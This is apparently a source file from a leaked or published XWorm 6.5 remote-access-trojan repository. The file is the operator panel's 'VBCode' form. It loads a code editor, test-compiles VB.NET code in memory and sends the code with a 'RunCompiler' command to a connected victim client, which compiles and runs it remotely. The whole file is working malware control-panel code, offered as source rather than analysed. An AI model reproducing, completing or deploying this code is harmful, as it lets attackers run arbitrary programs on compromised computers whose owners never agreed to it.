Files
XWorm-6.5-Source/XWorm/Forms/VBCode.vb
T
2026-08-27 11:22:34 -06:00

137 lines
5.5 KiB
VB.net

Imports System.CodeDom.Compiler
Imports System.Threading
Public Class VBCode
Public C As Client
Private Sub VBCode_Load(sender As Object, e As EventArgs) Handles MyBase.Load
Try
editor.Text = My.Resources.VBCode
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Sub Compiler(ByVal codeDomProvider As CodeDomProvider, ByVal source As String, ByVal referencedAssemblies As String())
Try
Dim providerOptions = New Dictionary(Of String, String)() From {
{"CompilerVersion", "v4.0"}
}
Dim compilerOptions = "/target:winexe /platform:anycpu /optimize-"
Dim compilerParameters = New CompilerParameters(referencedAssemblies) With {
.GenerateExecutable = True,
.GenerateInMemory = True,
.CompilerOptions = compilerOptions,
.TreatWarningsAsErrors = False,
.IncludeDebugInformation = False
}
Dim compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, source)
If compilerResults.Errors.Count > 0 Then
For Each compilerError As CompilerError In compilerResults.Errors
MessageBox.Show(compilerError.ErrorText & Environment.NewLine & compilerError.Line, Text, MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
Exit For
Next
Else
MessageBox.Show("No Error!", Text, MessageBoxButtons.OK, MessageBoxIcon.Information)
End If
Catch ex As Exception
MessageBox.Show(ex.Message, Text, MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
End Try
End Sub
Private Sub ToolStripStatusLabel1_Click(sender As Object, e As EventArgs) Handles ToolStripStatusLabel1.Click
ToolStripStatusLabel1.Visible = False
ToolStripStatusLabel1.Text = Nothing
End Sub
Private Sub VBCode_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
Dim B As Byte() = SB("CloseCompiler")
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
Try
If Not C.IsConnected Then
Close()
End If
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub AddToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles AddToolStripMenuItem1.Click
Dim str3 As String = Interaction.InputBox("Add Reference", "References", "")
If str3.Length = 0 Or ListBox1.Items.Contains(str3) Then
Else
ListBox1.Items.Add(str3)
End If
End Sub
Private Sub RemoveToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RemoveToolStripMenuItem1.Click
Try
ListBox1.Items.Remove(ListBox1.SelectedItem)
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
Try
If Not String.IsNullOrEmpty(editor.Text) Then
Dim alist As String = Nothing
For Each dad In ListBox1.Items
alist &= dad & ","
Next
Dim B As Byte() = SB("RunCompiler" & SettingsHelper.SPL & editor.Text & SettingsHelper.SPL & alist.Trim.TrimEnd(","))
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
End If
Catch ex As Exception
MessageBox.Show(ex.Message)
End Try
End Sub
Private Sub CutToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CutToolStripMenuItem1.Click
Try
editor.Cut()
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
Try
Windows.Forms.Clipboard.SetText(editor.SelectedText)
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub PasteToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles PasteToolStripMenuItem1.Click
Try
editor.SelectedText = Windows.Forms.Clipboard.GetText
Catch ex As Exception
Debug.WriteLine(ex.Message)
End Try
End Sub
Private Sub ToolStripMenuItem7_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem7.Click
Dim result As Integer = MessageBox.Show("Are You Sure?", "Clear!", MessageBoxButtons.YesNo)
If result = DialogResult.Yes Then
editor.Clear()
End If
End Sub
Private Sub ErrorTestToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ErrorTestToolStripMenuItem.Click
Dim providerOptions As Dictionary(Of String, String) = New Dictionary(Of String, String)() From {
{"CompilerVersion", "v4.0"}
}
Dim alist As String = Nothing
For Each assm In ListBox1.Items
alist &= assm & ","
Next
Compiler(New VBCodeProvider(providerOptions), editor.Text, alist.Trim.TrimEnd(",").Split(New String() {","}, StringSplitOptions.RemoveEmptyEntries))
End Sub
End Class